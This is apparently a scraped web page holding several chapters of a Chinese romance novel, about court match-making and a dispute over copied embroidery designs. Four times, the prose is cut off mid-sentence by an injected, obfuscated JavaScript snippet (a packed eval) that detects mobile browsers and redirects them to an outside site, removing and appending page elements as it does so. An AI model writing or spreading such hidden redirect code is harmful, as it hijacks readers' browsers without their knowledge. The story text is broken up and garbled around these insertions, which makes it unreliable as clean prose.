那下人道:“太子殿下让你进宫,派了小黄门来找,已在家中歇了多时,还是老爷太太回来才告知你在侯府赴宴,估计走不远,让我速速来寻你。” “看来以后真要常备辆马车。”陈衡皱眉,“只能阿瑶自己走回去了,这内城虽治安良好,却也不乏醉酒闹事之人……” “我会小心,你且放心去。”秦瑶道。 她望着他的背影,往东宫方向而去,想起在江城之时,两人几乎形影不离。 男儿有自己的大事要做,进京这些天来他们竟是聚少离多。 她轻笑,转身离去。 * 东宫自从上次的事后,已站稳脚跟,按说应无事才对。 此时却突召进宫,难道又有什么事发生? 陈衡马不停蹄赶往东宫。 进了东宫,却发现里边一派祥和。 太子殿下正坐在棋室,面前摆了棋盘,他却并未仔细看,只微微歪着头,看向门外那一大片竹林。 见陈衡来了,他并未起身,只挥手让人进来。 皇室相貌平庸,太子虽也高高瘦瘦,与陈衡一比,却衬得如个普通公子一般。 他暗自摇头,难怪父王总说自己缺了些皇家气质。 于是,他把主意打在了陈衡那张脸上。 “殿下。”陈衡低头问安。 太子眯眼瞧着他道:“陈卿来了,快坐,本宫闲来无事,想到陈卿棋艺精湛,便想叫你来与本宫对弈。” 陈衡看他无事,松了一口气,随意坐下道:“臣还以为宫里出了事,无事便好。” “……确是本宫有事找你。”太子不是能忍耐之人,“听说近日你与那承安君走得颇近?” 陈衡执起一颗黑子,手上动作顿了顿,低眉顺眼道:“正是。” 听这回答,他竟是不为自己辩解。 太子吃了一惊,忙问:“你看上她了?” 对于这位储君,未来自己终身效忠之人,陈衡还是说了实话:“臣与乡君相识于微末,彼时她并不清楚臣的身份,却依旧帮了臣的大忙,所以她的品性殿下毋庸置疑。” “那……”太子试探道,“她对你是何想法?本宫听说陛下赐给她的府邸,她迟迟未搬进去,还住在你的宅子里……莫不是她有心攀附你?” 陈衡自嘲道:“殿下忘了,如今她贵为乡君,是臣攀附她。” 太子摇头:“若你觉得委屈,不如另作打算,另娶他人?” 陈衡眸中忽然发暗。 太子殿下召他来的目的终于暴露了。 见他沉默,太子以为他不反对,便高兴道:“你我自幼相识,我拿你当兄弟,你的婚事我也自然上心得紧,如今我也有太子妃及良娣等三人,你却还未成婚……” 他压低身子,想看清陈衡埋头藏着的神情。 却见陈衡突然抬头,道:“不知殿下替臣相看的如何?” 太子愣了一下。 他倒也没怎么相看,而是早有目标。 “陈卿将来必是本宫的肱骨之臣,所以在本宫心目中,能配得上你的女子,只能是和德公主,本宫亲妹!” 皇室本就没适婚女子,而这位公主仅有九岁。 陈衡不由惊呼:“不可!殿下不可!公主年纪尚有,与微臣差了十多岁!就算是微臣答应,陛下与皇后娘决不会应允!” 太子劝道:“外头那些老头还纳年轻姑娘为妾,你与本宫妹妹差个十来岁又有何妨?至于父皇母后那边,自是由本殿去说。” 陈衡将黑子扔下,搅乱了棋盘。 他正襟危坐,道:“望殿下恕臣不能答应。” “为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253961|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”太子急切问。 此刻却不适合与太子硬碰硬。 “唉!”他长叹一声,假意愁上眉头,“只因臣与那承安君,当初为了躲避耳目顺利在江城隐伏下去,已成了婚。” “啊?”太子一时呆住,手里的棋子落了个七七八八。 “虽是作假。”陈衡继续哀叹道,“可那婚书却是真的,所以若臣娶公主,只能让公主做个平妻,或臣和离,公主为继室。” 太子从震惊中回过神来。 若真让妹妹与他人平起平坐,且不说她愿不愿意,皇家可丢不起这脸面。 他左思右想,道:“既然你们是假的,我找京兆府那范老头,悄悄把婚书一应备案毁了,如此你可恢复自由之身。” 见如此抵不过太子的决心,陈衡坐直了身子,正色道:“殿下,江城之事,承安君是否也是功臣?” 太子点头:“当然是,父皇不是也论功行赏,赏了她个乡君?” “既是功臣,殿下是否不该寒了功臣之心?”他问。 “……陈卿所言正是。”太子心中升起一股预感,觉得自己打算之事,不能实现了。 “不瞒殿下,臣与承安君虽假扮夫妻,她却早已心系于臣,更是说过此生非臣不嫁。” “那就让她给你做个贵妾!”太子出主意。 陈衡摇头:“若公主为臣正妻,再让乡君为臣之妾室,怕是日后朝堂又多了一位权臣!” 这……的确有些过分了。 他陈衡何德何能,竟能让陛下亲封的乡君为妾,说出去怕是御史台弹劾他的折子都要堆满了。 “罢了!”太子只得放过他,“此事作罢,本宫也不是那夺人所好之人,既然你与她已有了婚书为证,便早日把婚事办了吧!” “谢殿下!”陈衡长吁了一口气。 而侯府内,也在商量着一些事。 左侯爷听了女儿讲述秦瑶如何把她带大,如何带她来京城寻亲,早已感动的潸然泪下。 “这妹子是个良善之人,是我们左家的大恩人,娇娇你放心,爹必会报答她!” 老太君看着儿子,他丧妻已数年,一个人形单影只。 她老了,这侯府也缺个打理家务的女主人。 于是她问道:“你既已回京,过几日陛下便会召你入宫,你为他皇家守卫边塞这么多年,圣上若问你想要些什么赏赐,你准备如何应对?” “娘放心,儿有分寸。”侯爷胸有成竹,道,“保家卫国是做臣子的本分,再说我们左家缺什么?什么都不缺!所以我什么赏赐都不要!” “那不成!”老太君板起脸,“你若什么都不要,岂不是拂了圣上好意?” 左侯爷挠了挠头,心想以往陛下赐东西时,面上心疼之情可见一般,若自己说不要,他怕是高兴还来不及,岂会生气? 不过他向来不忤逆母亲,还是问道:“那母亲说,儿该如何应答?” 老太君叹了一口气,道:“娘老了,这府里是管不动了,你既已回来,短时间内又不走了,不如……再续个弦,求圣上为你指婚吧!” 68. 续弦之意 左侯爷是个孝顺的,母亲让续弦,他便答应。 老太君看看儿子,道:“你不问问,该选哪家合适?” “指婚自然是全凭陛下做主。”他茫然道。 “你就不怕娶回来的婆娘不合你意?”老太君急道。 侯爷不明所以红了脸:“能料理好家事便可,合不合心意什么的,有那么重要?” “你呀!”老太君看他听不懂自己的意思,只好把娇娇推到他跟前,“让你女儿说,她想让谁做她娘?” 所有人都知道,娇娇当然是想秦瑶做她娘。 左侯爷也恍然大悟。 “秦……承安君啊……”也算门当户对。 “是啊,找别人不如找个知根知底的,就凭她对娇娇的心,你也该知道,她的确是个最好的人选!”老太君劝道。 左侯爷为难道:“娘,你刚认了她做干女儿,现在又要她做儿媳,你这想一出是一出!莫不是真年纪大了,糊涂了?” 那陈公子还对秦瑶妹子藏有别的心思呢,他这不是夺人所爱吗? 老太君却气道:“若真是如此,我也不用认什么干女儿了,她就是我名正言顺的儿媳,和女儿一样!岂不正好!” 左侯爷被呛得一时半会儿竟无言反驳。 “……儿子试试。”他侯府想娶,陛下不一定答应。 他观秦瑶在宴席上举止得当,面对突发状况沉着应对,的确是个贤内助。 她的相貌在一众京城贵女中虽不算太过出众,放人群中也算相当显眼。 若能嫁进侯府,女儿高兴母亲满意,也算不差。 * 昨夜陈衡晚归,秦瑶一大早起来,留其他人侍候,自己则带了小桃出门。 她来京城时间也不短了,摸清了各街市后,有了个赚钱的主意。 既然上一世那绣楼她也参与其中,不如就借之前的经验,在京城开个小绣坊。 有了娇娇的绣谱,她完全可以不受市面上图案款式限制。 只是她并无深耕刺绣技艺,所以这绣娘还需另找些姑娘。 她想起秦馠那出神入化的一双手,只觉可惜。 在各街市走了一圈,记下了空院租售的位置后,她遇上了一个人。 卢玉竹正从京兆府出来,那阮正如今关在里边受审,她恢复自由身指日可待。 所以当她坐在马车里,远远瞧见秦瑶后,便招手让马车停了过来。 “昨日多谢承安君相助。”她下了马车,向秦瑶行了个大礼。 秦瑶忙扶了她弯下去的身子,道:“卢娘子不必多礼。” 两人寒暄了一阵,听闻秦瑶在找适合开绣坊的地方,她诧异道:“怎么你也要开绣坊?” 秦瑶对这话感到好奇:“怎么,还有别人也看中了这门生意?” 卢玉竹摇头:“那倒不是,只是最近海棠绣坊来了位绣娘,绣出的纹样精巧栩栩如生,如今各家正抢着定下她去做活呢。” 海棠绣坊,是京中最有名气的绣坊。 秦瑶不指望与它夺利,只想用绣谱打出名号,再谈合作,毕竟她手下招不招得来好绣娘,还得另说。 卢玉竹见她发愣,好心提醒道:“不如我陪你去海棠绣坊看看?你好做到心中有数。” “我正有此意。”秦瑶点头道,“不知卢娘子可有空闲?” 卢玉竹请她一同坐马车前去:“我正闲着无事,承安君既贵为乡君,也该有辆马车才是。” 一直跟着她未开口的小桃突然道:“公子是说要再备辆马车,专给我家娘子用。” “你家公子是?”卢玉竹一时惊讶,“未曾听说承安君有过婚配?” 还不等秦瑶回答,小桃又抢先道:“我家公子姓陈。” “莫不是……”卢玉竹想起昨日宴席上,与秦瑶一道的陈衡,不由笑而不语。 秦瑶低头,不好意思起来:“这是陈公子的婢女,自会偏向她家公子,卢娘子不用在意。” “承安君如今风头正盛,却还未嫁人,难免会被一些人惦记。”卢玉竹提醒,“若承安君早有备选之人,还得早做决断才是。” 秦瑶看着马车外一闪而过的街景,不由惆怅。 海棠绣坊位于内城繁华街口,人流熙攘,卢玉竹的马车也被挡在了对面街市,有专人把守不让过去。 卢玉竹掀开车帘,冲把守之人道:“我们要到对面海棠绣坊,为何不让过?” 京城商家向来是为了生意,恨不得让店里伙计上街抓客人,若见了乘坐马车的贵人,更要恭敬将马车引至店铺门口停好,从未像今日这样,竟派了人不让过。 “小娘子没看到这附近人多吗?”看守道,“若你家马车过去,撞了人不要紧,我们海棠绣坊各种贵重布料纹样,冲撞了你赔不起!” 秦瑶正欲劝她下车走过去,却见海棠绣坊门前,一辆马车正横冲直撞,往人群里冲。 那马车边冲马夫还边高举着马鞭:“速速让道!” 一时间街口行人抱头鼠窜。 卢玉竹不服气,道:“这是什么人,竟敢在闹市横冲直撞!而我们只是缓过辆马车就不行?” 看守一脸得意:“那是我们绣坊的秦绣娘,今日要进宫给贵人娘娘送绣品,可耽搁不起!” 秦绣娘? 秦瑶锁了眉头,一种不好的预感升了上来。 “秦绣娘,不会就是传闻中新来的那位吧?”卢玉竹问道。 “正是。”看守瞄了眼卢家马车,见这马车也是普通货色,傲然道,“客人还是多担待,你们当然比不得进宫之人!还是早下马车,步行为好!” 卢玉竹无奈,放下车帘,问道:“承安君,我们还去吗?” “去,为何不去?”秦瑶率先下了车。 卢玉竹跟她下了马车,瞪了看守一眼。 她卢家的身份在这京中不算什么,可敢如此对待承安君,这看守也是不长眼。 两人走到海棠绣坊的前街铺子,里头却十分清净,没什么客人。 秦瑶正好奇,卢玉竹跟她解释:“这海棠绣坊专做京中贵人生意,普通人怕是买不起。” 话音刚落,店中掌柜上前:“两位贵客想看些什么纹样?” 这店里竟是只有一个掌柜。 他朝二人打量了一番,见两人身着绫罗,后边又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262453|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟有婢女,琢磨着应该不是普通人家,却也不是十分显贵之人。 他们往常接待之人,都是那些人家的下人,来定下坊里绣娘亲自上门,很少有人直接来铺子相看。 秦瑶在铺子里逛了一圈,道:“这些绣品纹路花样是旧有的吧?有无新货?” 掌柜见她竟是识货之人,忙道:“两位这边请。” 他引两人来到柜台,把两三样绣品摆在两人面前。 “这是我们这儿新来的绣娘所绣。”掌柜也颇得意,“这几样已被谢家、崔家所定下,若两位喜欢,可定与此相似之纹样。” 秦瑶一眼便看出,这几样正是上一世往后几年大卖的纹样,先是在各家贵胄中流传,后又渐渐流入民间,最后几乎每人的衣裳都绣着如此纹样。 掌柜还在喋喋不休:“若两位想要不一样的,可独家定制,我们绣坊有位秦绣娘,这些新纹样皆是出自她手,她刚进宫去了,宫里的娘娘也相当喜爱!” 秦瑶指了指那几样绣品:“这些我全要了。” 掌柜傻眼:“全要?那可不便宜,最起码得这个数。” 他伸出一个指头。 秦瑶对绣品的价格也是烂熟于心,自然知道他所指的,是一百两银。 她拿出钱袋,掏出二百两银票递给掌柜:“我要买断这些纹样,往后秦绣娘不得再绣这些。” 掌柜眼珠一转,毫不犹豫接过银票,心想今日是遇到个傻子?这些不让绣便不让绣吧,难道秦绣娘还绣不出其他纹样了? 就连卢玉竹都震惊道:“承安君可要想好!这买卖不划算的紧!” 掌柜听她喊“乡君”,心头一紧,原来真是贵客! 他却也不敢得罪,小心翼翼揣着银票道:“小人有眼无珠,贵人果真要买断这些纹样?” 秦瑶冷笑:“这些纹样皆是出自他人之手,秦绣娘若有自知之明,确实不该再用这些。” 可惜这些纹样皆出自各个绣娘,她们并未留下姓名记载,秦瑶无法找到她们。 掌柜大惊:“贵人可有证据?话可不能乱讲。” 秦瑶暂时拿不出证据,可她有办法证明。 若之后她将还未出现的纹样画出来,秦馠再绣,便可证明她作假。 她摇头,道:“无论怎样,这些纹样到底能不能买断?” 掌柜也不敢纠缠,只得道:“能!能!贵人放心,待秦绣娘回来,我自会向她说明。” “你方才说她往宫里去了?”秦瑶问。 掌柜点头:“是,宫里有娘娘听闻了此事,召秦绣娘入宫,说得了一批上好料子,想做些别致的纹样在衣裳上。” 若找到宫中尚服局,提前进献纹样…… 想到此,秦瑶匆匆告辞。 上一世精致华贵专供宫廷用的纹样只寥寥几种,她找娇娇画成绣谱,献予尚服局,若到时秦馠所绣样品送至尚服局制衣,便可被拆穿。 掌柜一路将二人送出门,见马车被绣坊看守拦在对面,额上不由冒了冷汗。 直到送两人上了马车,他才听得里边人吩咐:“麻烦卢娘子送我至侯府。” 这看守看来要撤掉了。 69. 进宫谋划 秦瑶如今再进侯府,无人敢拦。 她已对府中布置了然于心,不用等人通报引路,轻车熟路就找到了娇娇所住之处。 娇娇正在院中凉亭习课,过段时间她要和兄长一起到族学去。 “娘!”她见到秦瑶,嘴皮子一溜便喊了出来,又发觉不对,忙改口小声唤了一声,“姑姑!” 秦瑶拍了下额,道:“哎呀,我来得及,竟忘了给娇娇带些好吃的!” 她在凉亭坐下,从袖袋中摸出方才买来的绣样。 娇娇撅嘴道:“还以为姑姑拿的什么好东西,前几日祖母还派了人来教我女红,可我总绣不好。” “咦,你没跟你祖母说你在绣坊学绣谱之事?”秦瑶道。 “没有。”娇娇将那几块样品从面前推走,“我还以为来了京城就再不用绣东西……我不想学女红,姑姑也别再教我,好不好?” 秦瑶笑道:“放心,我来此又不是逼你学刺绣的,这几样啊,是秦馠绣的。” 娇娇瞪大眼睛,这才将那几块布拿过来仔细看了看:“我就说,大姐比我适合。” 秦瑶把方才所见之事说了,又命人准备了纸笔,准备将记忆中宫廷所用纹样图案画下来。 她画的不好,只大致画出了最令人印象深刻的一款,又拿给娇娇,让她誊抄做绣谱。 思来想去,她还是决定只画这一款,其余的是尚服局所有绣娘的功劳,应留还给她们。 秦馠若想一次就得宫里娘娘的青睐,必会选上一世这最漂亮的一款,她若提前给了尚服局相同的绣谱,就能拆穿对方仿造。 娇娇对此不在话下,没过一会儿就画好了图样。 左侯爷听闻秦瑶入府,放下手中事务很快便过来了。 他远远看到凉亭中,两人相依说笑,一派祥和画面,忽地想起母亲嘱咐之事,不由有些脸红。 “阿瑶妹子。”他低头,眼神有些闪躲,“今日怎么得空来了?” 秦瑶忙放下手中毛笔,道:“侯爷来得正巧,我正要找你。” 如今她贵为乡君,也不必再向他行礼。 听秦瑶要找自己,侯爷脸颊突然显现出两坨可疑红晕,再加上他久在边关风吹日晒,皮糙发黑,衬得脸一片黑红。 “阿、阿瑶妹妹找我何事?你让下人吩咐一声就行,不必专程过来。”侯爷声音渐弱。 秦瑶也只觉得奇怪,并未深想,道:“也不是什么大事,我想进宫一趟,听说娇娇亲娘的姊妹是宫里贵妃?” “你说李贵妃啊!”左侯爷将注意力掰回到事情上,“你想进宫,却无正当理由,想让李贵妃帮忙召你进去?” 秦瑶点头:“正是。” 她把已晾干的图纸折了起来,塞进袖子里。 左侯爷一把抓住她的手腕,高声道:“嗨!我当什么事呢,如此小事,正好待会儿我就要进宫,你与我一道,我把你送至李贵妃处!” 手腕处一阵疼痛传来,她倒吸一口凉气,笑得比哭得还难看:“侯爷轻些!” 左侯爷意识到他抓了她的手,立即如烫手山芋般甩开:“对不住,我粗人一个,习、习惯了。” “无事。”秦瑶揉了揉稍显红肿的手腕,并未在意,“此事不合规矩吧?” “放心。”他尴尬别过头,不敢再与她对视,转头便瞧见女儿正满脸坏笑看着自己,“那个……我去叫人备马车,在门口等你。” 说完落荒而逃。 秦瑶望着他的背影,喃喃道:“怎么侯爷今日好生奇怪?” “姑姑觉得我爹怎么样?”娇娇与她并排站了,也望着渐行渐远的身影,幽幽问道。 秦瑶瞪了她一眼:“别瞎想!” 左侯爷是个顶天立地的将军,怎会沉溺于儿女情长。 * 侯府离皇宫西华门不远,左侯爷受陛下召见,到了宫门处就被御书房值守太监领走了。 他临走前找人去给李贵妃报了信,让秦瑶在宫门处等候,到时自会有李贵妃近侍来带她进去。 日已偏西,晒在人身上,热得她已出了一身汗。 宫门尽头远远走来一人,手上捧了个木盒,神情颇为得意。 正是秦馠。 看来她此次得了某位娘娘的另眼相待,还赏了东西。 待人走近,她定睛一看,惊呼:“瞧这是谁?承安君怎么站太阳底下不进去?是无人召见?” 秦瑶冷了脸,道:“见了本乡君,还不行礼?” “哎呀!”秦馠抱着木盒,道,“还请承安君恕罪,娘娘赏了东西,礼就免了吧!” 她一副小人得志的样子。 秦瑶看着她怀中木盒,问道:“不知是哪位贵人赏的?说出来好让我也涨涨见识?” “是良妃。”秦馠一朝得志,忍不住炫耀,“良妃娘娘看了我的绣样,十分满意,要我回去准备一番,明日就入宫配合尚服局为她制衣。” 她腾出一只手,放在眼前欣赏道,“你没想到吧?我那一手刺绣的技艺,在这京中也没几个人能比得上!说起来这也多亏你,若不是你当初的逼迫,我这双手也练不成如今这出神入化的功夫。” “是吗?”秦瑶讥笑道,“你绣活再好,还不是仿造了他人所作图案纹样?” 秦馠眼中陡然警惕:“你知道?” “你技艺出众,本是好事。”秦瑶缓缓道,“若能用在正途,潜心在海棠绣坊做工,也不失为一条正道,可惜你又想走捷径,仿制上一世他人成果,实在泯了良心。” “你去过海棠绣坊了?”秦馠挑眉,不屑道,“既是出自我手,那便是我的!难不成你还能找到那些绣娘,让她们承认自己将来会绣出这些?” 这时,一小黄门从宫内而至,低头恭敬朝两人道:“请问哪位是承安君?” 秦瑶上前一步:“是我。” “承安君万福。”小太监行了礼,道,“贵妃娘娘有请,承安君请随杂家来。” 听闻贵妃召见,秦馠心中警铃大作:“你入宫做什么!” 秦瑶并未与她做过多纠缠,当即跟那小太监入了宫门。 “哼,就算你入宫告发又有何用?”秦馠得意笑道,“将来之事,她们谁人敢证?” 宫道漫漫。 好在李贵妃并未在她寝宫,而是来到御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286051|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花园等人。 小太监步伐走得急,秦瑶也紧跟着他,额上渗出细细密密的汗珠。 待走到李贵妃面前,她却不敢有其他动作,直接跪地行了大礼:“见过贵妃娘娘。” “承安君请起。”李贵妃声音清丽,如鸟儿婉转。 秦瑶谢过,抬头看向李贵妃,只见她方额广颐,目露威严,竟比那日进宫见过的皇后娘娘更庄重了几分。 “听侯爷说,承安君入宫是有急事?”她道。 秦瑶这才发现,此处是御花园一处角落,不远处已站满了贵妃的宫人。 “承安君但说无妨。”她嘴角微扬了扬,道,“且不说此处已被我的人围满,消息不会外泄,侯爷与我李家本就是知根知底的亲戚,你救了我妹妹唯一的女儿,若有什么为难之事,不必推辞。” 秦瑶见贵妃说这话时,眼里有泪水,诚挚万分,于是也不再寒暄。 “不瞒贵妃娘娘,是您那外甥女闲时喜爱看各种绣谱,曾画过一张别致纹样。” 她拿出那张图,展开在贵妃面前。 “我本想把此图样奉上,不料却被另一个养女所见,今日更是得知她已将此奉给了良妃。” 李贵妃见这图案繁复精致,拿在手里翻来覆去看了好几遍,赞叹道:“我那外甥女竟有如此造诣,你说这纹样现在在良妃那里?” “正是。”秦瑶点头。 “良妃她也配!”李贵妃恨恨道。 前几日良妃刚得了陛下赏赐,其中就有一匹罕见布料。 她这是要制衣! 秦瑶不知李贵妃与良妃之间有何过节,不过李贵妃既然是娇娇的亲姨母,她自然也愿意助李贵妃一臂之力。 “走!你随我去良妃宫里!我们这就把那纹样抢回来!”李贵妃义愤填膺。 秦瑶道:“贵妃娘娘且慢!我来时已有准备!” 贵妃有些吃惊,没想到这承安君出身乡野,竟也不是蠢笨之人。 “什么准备?不妨说来听听?”她好奇道。 “敢问贵妃娘娘,若是把这幅图样送至尚服局……”秦瑶提醒。 “送到尚服局,那这纹样就是宫中人人皆可用了!”李贵妃皱眉,她可不想自己外甥女的手笔落入他人之手。 可她转瞬间便明白了秦瑶的意思。 “原来你是想……”她恍然大悟。 秦瑶拱手笑道:“恭喜贵妃娘娘又为宫中添一份好事。” 李贵妃招来自己身边最得力的宫女:“去请尚服局刘尚服到我宫中一趟。” 这纹样若留着自己用,也就在其他妃嫔面前显摆一回罢了。 若给了尚服局,皇后娘娘最喜看到妃嫔们为宫中内务做贡献了。 况且如此一来,良妃若制衣,便会发现这纹样不是独有的,继而迁怒那秦绣娘骗她。 秦瑶见事已成,便同贵妃告辞。 贵妃知左侯爷被陛下召见,两人又是一同来的,就请她到自己殿中稍作等待,等左侯爷一起出宫。 却不想走在路上,听两个小黄门在议论:“方才在御书房,左侯爷和陈大人不知因什么事,惹得陛下大怒。” 70. 起了争执 秦瑶停下脚步。 两个小黄门不认得她,看见李贵妃,忙闭了嘴,退至一旁。 李贵妃却起了好奇心,招手叫两人过来:“你们来,跟我说说,侯爷和哪位陈大人起了争执?” 两人互相推搡着上前,低头道:“回娘娘,是陈衡陈大人。” 李贵妃心中奇道,这两人平日里素无交集,且年岁相差有快一轮,怎么会吵起来? “因何事争吵啊?”她问。 两人偷摸相视一眼,一个年纪稍大的太监道:“回娘娘的话,奴在外听得不太清楚,好像是侯爷求陛下赐婚。” 侯爷竟要续弦?李贵妃心中一惊,妹妹已去世多年,侯爷续弦无可厚非,可她还是有些难过。 她抬头稳了稳心神,道:“侯爷看上哪家姑娘了?” 两人皆慌张摇头。 “贵妃娘娘在呢!”远处一少女徐徐走来,一身藕荷色暗纹襦裙,衬得本就白嫩的脸十分娇俏。 李贵妃眯眼,看她来的方向,像是皇后宫中,问道:“是嘉禾郡主,你这是从皇后宫中来?” 嘉禾郡主摇头,指了指御书房方向:“我方才经过皇伯父那里,贵妃娘娘猜我看到了什么?” 她径直走到李贵妃面前,并未过多关注贵妃身后多了一宫外之人。 不等李贵妃回答,她便迫不及待道:“左侯爷求皇伯父赐婚,你猜他看中了谁?” 谁都知道左侯爷是李贵妃的妹夫,嘉禾郡主此刻故意提起此事,却是不怀好意。 李贵妃面无表情道:“谁?” “哼!”嘉禾郡主撅起了嘴,“那个新封的承安乡君!” 秦瑶瞪大了双眼。 她没听错吧,左侯爷这是发什么疯!竟想让自己给他做续弦? 李贵妃也满脸诧异,偏过头瞥了秦瑶几眼。 “也不知她到底长什么样,侯爷看上她也就算了,偏小陈大人正巧也在,说这门亲事不合适,不如让那乡君嫁他!”嘉禾郡主不满道。 李贵妃试探道:“不知郡主是为侯爷,还是为小陈大人打抱不平?” “自然是小陈大人!”提起陈衡,她双颊出现一抹红晕,“幸好皇伯父暂时没答应,说太子表兄前些日子曾求了陛下,给小陈大人指一门皇亲呢!” 秦瑶心中一沉。 李贵妃瞥见她变了脸色,便又问:“公主还小,不到适婚年龄,这……不相配吧!” 而嘉禾郡主却暗自沾沾自喜,放眼望去,虽她比陈衡小个五六岁,皇亲中还算适龄的人选也就她了。 她见李贵妃总看身侧之人,这才发现人群中有一个陌生面孔。 “这位是?”她好奇问道。 李贵妃笑了笑,颇有些尴尬。 可既然郡主已开口,秦瑶哪有不回应的份。 她上前一步,福身道:“承安君见过嘉禾郡主。” 嘉禾郡主吃了一惊,上下打量道:“你就是那个、那个乡君?” “正是。”她恭敬垂头,不想在这节骨眼惹上麻烦。 嘉禾郡主打量的目光瞬间换成了鄙睨。 她收回目光,居高临下道:“也没什么了不起嘛,这五官挑不出错处,长得还算周正,他们到底看上你什么了?” 在宫中见惯了美人,嘉禾郡主自然不把秦瑶放眼里。 “郡主!”李贵妃提醒道,“这是宫里,什么话该说,什么话不该说,郡主心里明白。” 然而嘉禾郡主并不理会李贵妃的好意:“怎么,我说的难道不是实话吗?若不是她使了什么手段,会让侯爷与陈大人如此?” 秦瑶抬起头来,目光直逼嘉禾:“郡主年纪小,不懂事,我自不会与你计较,可你须知我并未逼他们两人,一切都是凭着自己意愿,又怎能将男子的想法算在女子头上?你若喜欢陈大人,便去找他明示,若你们能两情相悦,也是好事一件,我不会阻拦!” “你!”嘉禾郡主没料到她如此能说会道,一时被呛得说不出话,憋得满脸通红。 李贵妃劝道:“如今事情到底怎样,还未可知,你们两个也不必吵了。说来也怪陛下,既然封了乡君,也该宴请一下,弄得大家都不认得乡君,平白闹出许多笑话。” 秦瑶退至她身边,道:“谢娘娘挂怀。” 有这么多人在,李贵妃也不好问她对侯爷是何想法,只得道:“我这几日就向陛下提一提,待宫宴你便可来我宫中,既然左家认了你,那我们也算是亲戚。” 嘉禾郡主见李贵妃偏袒她,跺了跺脚:“你别得意的太早!我这就去找小陈大人问一问,若他对你无意,你以后也别厚着脸皮找他!” 说完她也不向李贵妃告辞,提着裙角气呼呼跑了。 李贵妃向来不喜跋扈无礼之人,她盯着嘉禾郡主的背影直摇头:“郡主被惯坏了,在宫中越发放肆起来!承安君莫要太过在意。” 这皇宫乃是非之地,秦瑶也不想再待下去了,趁机向李贵妃告了辞。 她胸中郁闷,往宫门外走去,见侯爷已等在侯府马车旁,不由一股怒火升了起来。 “左侯爷。”秦瑶破天荒朝他屈身一拜,严肃道,“侯府就是如此对待我的一片好心?” 左侯爷尴尬笑了笑:“你、你都知道了?” 她闭口不言,面色铁青。 “阿瑶妹子,你别生气啊!”他慌忙摆了摆手,“此事都怪我一时冲动,方才陈兄弟已提醒了我,我知道错了,还是陈兄弟思虑周全,对你颇为上心。” “这与他有何关系!”秦瑶道。 提起陈衡,她心中更不适,太子若真为他求了指婚,那一点微末的希望也算彻底死了。 左侯爷当然体会不到她此刻的心情,笑嘻嘻道:“当时我看陈兄弟在,就犹豫着要不要开口,后来心想早晚他都得知道,索性心一横求了圣上……陈兄弟当即变了脸,说我该尊重你的意思,先问问你答应不,再来求圣上赐婚你我。” 秦瑶咬牙笑道:“他正自顾不暇,还有心思管别人?” “圣上听了也夸他想得周全呢!万一你不同意,圣上瞎点鸳鸯谱,闹得谁都不愉快……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286052|145921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说着,话锋一转,道,“他这人也有意思的很,圣上刚夸了他两句,他就上头,厚着脸皮说要娶你,把圣上气得够呛,所以就说太子对他的婚事已有安排,把这事推辞了过去。” 前半段秦瑶听得不清楚,后边一句落在耳中却异常清晰:“他的婚事如何说了?” “我也不太清楚。”左侯爷指了指她身后驶来的马车,“那是陈家马车,你自己去问他。” 马车在两人面前停了下来。 陈衡跳下马车,冷冷瞥了眼左侯爷,问道:“时候不早了,侯爷还不上马归家?” 左侯爷摸了下鼻子,竟生了一丝怯意:“这阿瑶妹子是乘侯府马车,从侯府来的,我定是得把她送回去才是。” “不用了。”陈衡直言,“这马车正是我新为承安君备下的。” 左侯爷看了看崭新的马车,识趣道:“那……阿瑶妹子,我就先回了,明日、明日再请你到侯府来!” 秦瑶点头,目送他离去。 “阿瑶不请我一同乘车回去?”陈衡问道。 秦瑶板着脸,自己上了马车,又掀了车帘,没好气道:“还不上来!” 陈衡跳上马车,神情却有些凝重。 车厢里沉默了一会儿,秦瑶忍不住问道:“到底发生了何事?方才听人说太子求陛下为你赐婚,是真是假?” 陈衡点了点头:“太子曾提过此事,我并未答应,没想到他却是又向圣上提了。” 